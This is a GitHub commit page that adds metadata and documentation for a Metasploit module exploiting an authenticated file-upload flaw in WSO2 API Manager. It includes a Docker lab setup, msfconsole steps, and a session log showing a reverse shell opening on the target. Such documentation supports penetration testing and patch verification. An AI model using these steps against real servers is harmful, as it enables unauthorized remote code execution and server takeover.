Skip to content

Commit

Permalink
Merge remote-tracking branch 'upstream/master'
Browse files Browse the repository at this point in the history
  • Loading branch information
certcc-ghbot committed Dec 16, 2024
2 parents 3473609 + 703ed44 commit e92d557
Show file tree
Hide file tree
Showing 4 changed files with 592 additions and 2 deletions.
68 changes: 67 additions & 1 deletion db/modules_metadata_base.json
Original file line number Diff line number Diff line change
Expand Up @@ -117986,6 +117986,72 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/wso2_api_manager_file_upload_rce": {
"name": "WSO2 API Manager Documentation File Upload Remote Code Execution",
"fullname": "exploit/multi/http/wso2_api_manager_file_upload_rce",
"aliases": [

],
"rank": 600,
"disclosure_date": "2024-05-31",
"type": "exploit",
"author": [
"Siebene@ <@Siebene7>",
"Heyder Andrade <@HeyderAndrade>",
"Redway Security <redwaysecurity.com>"
],
"description": "A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions\n (`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled\n server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.",
"references": [
"URL-https://github.com/redwaysecurity/CVEs/tree/main/WSO2-2023-2988",
"URL-https://blog.redwaysecurity.com/2024/11/wso2-4.2.0-remote-code-execution.html",
"URL-https://security.docs.wso2.com/en/latest/security-announcements/security-advisories/2024/WSO2-2023-2988/"
],
"platform": "Linux,Windows",
"arch": "java",
"rport": 9443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Automatic",
"WSO2 API Manager (3.1.0 - 4.0.0)",
"WSO2 API Manager (4.1.0)",
"WSO2 API Manager (4.2.0)"
],
"mod_time": "2024-12-11 11:58:53 +0000",
"path": "/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/wso2_api_manager_file_upload_rce",
"check": true,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_multi/http/wso2_file_upload_rce": {
"name": "WSO2 Arbitrary File Upload to RCE",
"fullname": "exploit/multi/http/wso2_file_upload_rce",
Expand Down Expand Up @@ -262592,7 +262658,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2024-01-15 14:56:46 +0000",
"mod_time": "2024-12-16 17:51:38 +0000",
"path": "/modules/post/multi/recon/local_exploit_suggester.rb",
"is_install_path": true,
"ref_name": "multi/recon/local_exploit_suggester",
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
## Vulnerable Application

A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.

```yaml
services:
api-manager:
image: wso2/wso2am:4.0.0-alpine
container_name: swo2_api_manager
ports:
- "9443:9443"

```

```bash
docker-compose up
```
## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use multi/http/wso2_api_manager_file_upload_rce`
1. Do: `set rhosts [ip]`
1. Do: `set lhost [ip]`
1. Do: `run`
1. You should get a shell.

## Scenarios

### WSO2 API Manager 4.0.0
```
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target...
[+] Authentication successful
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
[+] Authentication successful
[*] Listing APIs...
[+] Document created successfully
[*] Uploading payload...
[+] Payload uploaded successfully
[*] Executing payload...
[+] Payload executed successfully
[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100
id
uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
pwd
/home/wso2carbon/wso2am-4.0.0
exit
[*] 127.0.0.1 - Command shell session 2 closed.
```

## Options

### HttpUsername (required)

The username to authenticate with.

### HttpPassword (required)

The password of the user to authenticate with.

### RHOSTS (required)

The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

### RPORT (required)

The target port (TCP)
Loading

0 comments on commit e92d557

Please sign in to comment.